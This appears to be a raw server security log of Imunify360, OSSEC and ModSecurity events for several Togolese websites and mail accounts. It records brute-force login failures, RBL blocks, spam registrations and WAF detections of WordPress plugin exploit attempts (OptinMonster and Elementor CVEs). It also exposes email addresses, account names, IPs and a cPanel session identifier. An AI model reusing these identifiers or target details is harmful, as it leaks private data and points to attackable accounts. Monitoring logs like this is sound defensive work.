2026-06-09 08:37:02 H=([91.218.161.60]) [91.218.161.60]:24704 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.115
country_id: 1880251
description:
47.128.122.115 - - [09/Jun/2026:08:37:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6383722&pdata=https%253A%252F%252Ftogodailynews.tg%252Fprotection-de-lenvironnement-le-togo-soffre-de-bons-moyens%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780994251 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/protection-de-lenvironnement-le-togo-soffre-de-bons-moyens/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.115


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.175.56
country_id: 2363686
description:
[2026-06-09 08:38:40 +0000] info [cpaneld] 102.64.175.56 NEW uljcqiuy:32aqu4AjcexPDYL3 address=102.64.175.56,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:uljcqiuy:3KAOC0fDdCgfYNJD:create_user_session,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [09/Jun/2026:08:39:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13197975&pdata=http%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780994362 HTTP/1.1" 302 0 in.crepsad.tg "http://in.crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.95
country_id: 1880251
description:
47.128.121.95 - - [09/Jun/2026:08:39:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13014932&pdata=https%253A%252F%252Ftogodailynews.tg%252Fnormes-internationales-de-management-de-la-qualite-african-lease-togo-certifie-iso-9001-version-2015%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780994374 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/normes-internationales-de-management-de-la-qualite-african-lease-togo-certifie-iso-9001-version-2015/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.95


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.78
country_id: 1880251
description:
47.128.121.78 - - [09/Jun/2026:08:42:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7302507&pdata=https%253A%252F%252Ftogodailynews.tg%252Fumoa-titres-le-togo-recherche-20-milliards-fcfa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780994521 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/umoa-titres-le-togo-recherche-20-milliards-fcfa/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.78


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.50.190.207
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:08-42.209.50.190.207||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.106
country_id: 1880251
description:
47.128.122.106 - - [09/Jun/2026:08:42:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038097&pdata=https%253A%252F%252Ftogodailynews.tg%252Frapport-sur-le-developpement-humain-le-togo-gagne-5-places%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780994571 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/rapport-sur-le-developpement-humain-le-togo-gagne-5-places/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.106


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 38.141.62.31
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:08-42.38.141.62.31||RSV:8.15||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.181.154.47
country_id: 2635167
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:107.181.154.47||TA:107.181.154.47||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.244.215.186
country_id: 298795
description:
Jun  9 08:47:19 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.244.215.186 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.78
country_id: 1880251
description:
47.128.121.78 - - [09/Jun/2026:08:47:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10142872&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcooperation-echanges-fructueux-entre-kodjo-adedze-et-coumba-sow%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780994865 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/cooperation-echanges-fructueux-entre-kodjo-adedze-et-coumba-sow/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.78


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.244.215.186
country_id: 298795
description:
2026-06-09 08:47:21 dovecot_login authenticator failed for H=(nsg-corporate-191.126.187.122.airtel.in) [178.244.215.186]:48386: 535 Incorrect authentication data (set_id=olivier.gadawouye@ekeasarl.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.68
country_id: 1880251
description:
47.128.121.68 - - [09/Jun/2026:08:55:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9596107&pdata=http%253A%252F%252Ftogodailynews.tg%252Fhommage-special-a-edem-kodjo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780995331 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/hommage-special-a-edem-kodjo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.68


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Accept Your Electronic-Game Prize vamvozmviigr.blogspot.hk yc||Email:b.andrion78@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:08-56.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77317977
name: IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)
abuser: 196.168.143.14
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Sensitive Information Disclosure in OptinMonster plugin for WordPress (CVE-2021-39341)||RSV:8.15||T:APACHE||User:ecukpqcm||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.170.162.125
country_id: 6252001
domain: www.api.sodigaz.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.65.230.13
country_id: 2542007
description:
2026-06-09 08:56:36 dovecot_plain authenticator failed for H=(ikx5ik55uv9h9b3lbhgul7014qbk) [196.65.230.13]:49621: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 151.247.123.176
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:151.247.123.176||TA:151.247.123.176||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-09 09:01:24 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:45166: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.53.205
country_id: 953987
description:
Jun  9 09:03:10 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.53.205 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.231.120.134
country_id: 798544
description:
2026-06-09 09:03:12 dovecot_login authenticator failed for H=(91.231.120.134) [91.231.120.134]:45494: 535 Incorrect authentication data (set_id=test@arse.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.106
country_id: 1880251
description:
47.128.122.106 - - [09/Jun/2026:09:04:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000742&pdata=https%253A%252F%252Ftogodailynews.tg%252F42eme-aga-de-shelter-afrique-le-logement-abordable-en-afrique-necessite-un-changement-de-paradigme%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780995872 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/42eme-aga-de-shelter-afrique-le-logement-abordable-en-afrique-necessite-un-changement-de-paradigme/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.106


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 81.18.35.173
country_id: 1522867
description:
2026-06-09 09:06:09 H=([81.18.35.173]) [81.18.35.173]:52750 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.95
country_id: 1880251
description:
47.128.121.95 - - [09/Jun/2026:09:07:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146472&pdata=https%253A%252F%252Ftogodailynews.tg%252Fengagement-du-chef-de-letat-togolais-pour-la-paix-en-afrique-de-louest-et-dans-le-sahel%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996019 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/engagement-du-chef-de-letat-togolais-pour-la-paix-en-afrique-de-louest-et-dans-le-sahel/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.95


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-06-09 09:09:44 +0000] info [cpaneld] 165.22.212.32 - ekeasarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeasarl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.140.206.189
country_id: 294640
description:
[2026-06-09 09:13:08 +0000] info [webmaild] 45.140.206.189 - sessou.e@inger.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.185
country_id: 1880251
description:
47.128.96.185 - - [09/Jun/2026:09:12:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10198939&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996333 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.185


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.193
country_id: 1880251
description:
47.128.96.193 - - [09/Jun/2026:09:15:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117162&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcoup-detat-manque-au-benin%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996507 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/coup-detat-manque-au-benin/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.193


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.68
country_id: 1880251
description:
47.128.121.68 - - [09/Jun/2026:09:15:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13069210&pdata=http%253A%252F%252Ftogodailynews.tg%252Fproduction-dananas-bio-victoire-tomegah-dogbe-encourage-la-cooperative-espoir-de-dzolo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996510 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/production-dananas-bio-victoire-tomegah-dogbe-encourage-la-cooperative-espoir-de-dzolo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.68


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.160
country_id: 1880251
description:
47.128.96.160 - - [09/Jun/2026:09:16:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050438&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-reseau-voleurs-voitures%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996563 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-reseau-voleurs-voitures/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.160


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.2
country_id: 1880251
description:
47.128.96.2 - - [09/Jun/2026:09:16:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738851&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F12%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996571 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F12%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.2


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 102.211.168.154
country_id: 2363686
domain: camilliens.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:data[slides]||MV:{\"slide\":{\"addOns\":{},\"id\":1,\"version\":\"7.0.0\",\"title\":\"\",\"parentId\":null,\"language\":\"default\",\"order\":1,\"thumb\":{\"src\":\"\",\"srcId\":\"\",\"admin\":\"\",\"adminId\":\"\",\"dimension\":\"slider\",\"default\":{\"image\":{\"src\":\"https://camilliens.tg/wp-content/uploads/2026/06/Banniere1.jpg.jpeg\",\"repeat\":\"\",\"size\":\"cover\",\"pos\":{\"x\":\"50%\",\"y\":\"50%\"}}}},\"acc\":{\"label\":\"unset\",\"hidden\":\"true\",\"live\":\"auto\",\"role\":\"presentation\",\"roledep\":\"slide\"},\"description\":\"\",\"attr\":{\"class\":\"\",\"data\":\"\",\"id\":\"\",\"a\":\"\",\"aO\":\"ml\",\"t\":\"\",\"tO\":\"\",\"deepLink\":\"\",\"attr\":\"\"},\"publish\":{\"from\":\"\",\"to\":\"\",\"state\":\"published\",\"sch\":true},\"slideshow\":{\"stop\":false,\"len\":\"default\",\"hal\":0,\"hom\":false,\"hfn\":false},\"loop\":{\"u\":false,\"r\":-1,\"s\":0,\"e\":99999}},\"layers\":{\"0\":{\"fluid\":{\"tx\":true,\"tr\":true,\"sp\":true},\"id\":0,\"alias\":\"text-0\",\"content\":{\"text\":\"Au service des malades \"},\"runtime\":{\"locked\":false,\"hidden\":false},\"size\":{\"w\":[\"#a\",\"auto\",\"auto\",\"auto\",\"auto\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.82.105
country_id: 2750405
description:
Jun  9 09:18:58 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.82.105 has been locked due to Imunify RBL


plugin: modsec
rule: 77350027
name: IM360 WAF: RCE Vulnerability in Elementor WordPress Plugin (CVE-2022-1329)
abuser: 196.168.143.14
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: RCE Vulnerability in Elementor WordPress Plugin (CVE-2022-1329)||WPU:aubin||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.26.82.105
country_id: 2750405
description:
2026-06-09 09:19:00 dovecot_plain authenticator failed for H=(hlkuvf7efnpt9ubor6kkg) [2.26.82.105]:49142: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.202
country_id: 1880251
description:
47.128.96.202 - - [09/Jun/2026:09:18:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790613&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcimco-industrie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996708 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cimco-industrie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.202


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.169
country_id: 1880251
description:
47.128.96.169 - - [09/Jun/2026:09:18:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053526&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-augmentation-prix-produits-petroliers-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996721 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-augmentation-prix-produits-petroliers-2026/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.169


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.155
country_id: 1880251
description:
47.128.96.155 - - [09/Jun/2026:09:19:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7456920&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcimco-industrie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996772 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cimco-industrie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.155


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.117
country_id: 1880251
description:
47.128.122.117 - - [09/Jun/2026:09:20:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738595&pdata=https%253A%252F%252Ftogodailynews.tg%252Fexpo-2020-dubai-victoire-tomegah-dogbe-ouvre-la-journee-nationale-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996806 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/expo-2020-dubai-victoire-tomegah-dogbe-ouvre-la-journee-nationale-du-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.117


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.95
country_id: 1880251
description:
47.128.121.95 - - [09/Jun/2026:09:20:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001306&pdata=http%253A%252F%252Ftogodailynews.tg%252Fprotection-civile-loipc-felicite-le-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996830 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/protection-civile-loipc-felicite-le-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.95


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.171
country_id: 1880251
description:
47.128.96.171 - - [09/Jun/2026:09:20:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988246&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgeneral-felix-kadanga-arrete%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996829 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/general-felix-kadanga-arrete/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.171


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.12
country_id: 1880251
description:
47.128.96.12 - - [09/Jun/2026:09:21:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7104659&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbourses-et-allocation-au-bein%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996873 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bourses-et-allocation-au-bein/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.12


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Win Your Guaranteed Extra vamvozmviigr.blogspot.nl DI||Email:drmuzamilzafar31302@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:09-21.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.125
country_id: 1880251
description:
47.128.96.125 - - [09/Jun/2026:09:22:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658919&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fawili-prenam%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996923 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/awili-prenam/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.125


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-09 09:22:40 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:54702: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.149
country_id: 1880251
description:
47.128.96.149 - - [09/Jun/2026:09:23:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051923&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvaccin-astrazeneca%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780996980 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vaccin-astrazeneca/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.149


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.170
country_id: 1880251
description:
47.128.96.170 - - [09/Jun/2026:09:23:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6722707&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fawili-prenam%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780997005 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/awili-prenam/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.170


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun  9 09:23:47 ns5 auth[499072]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
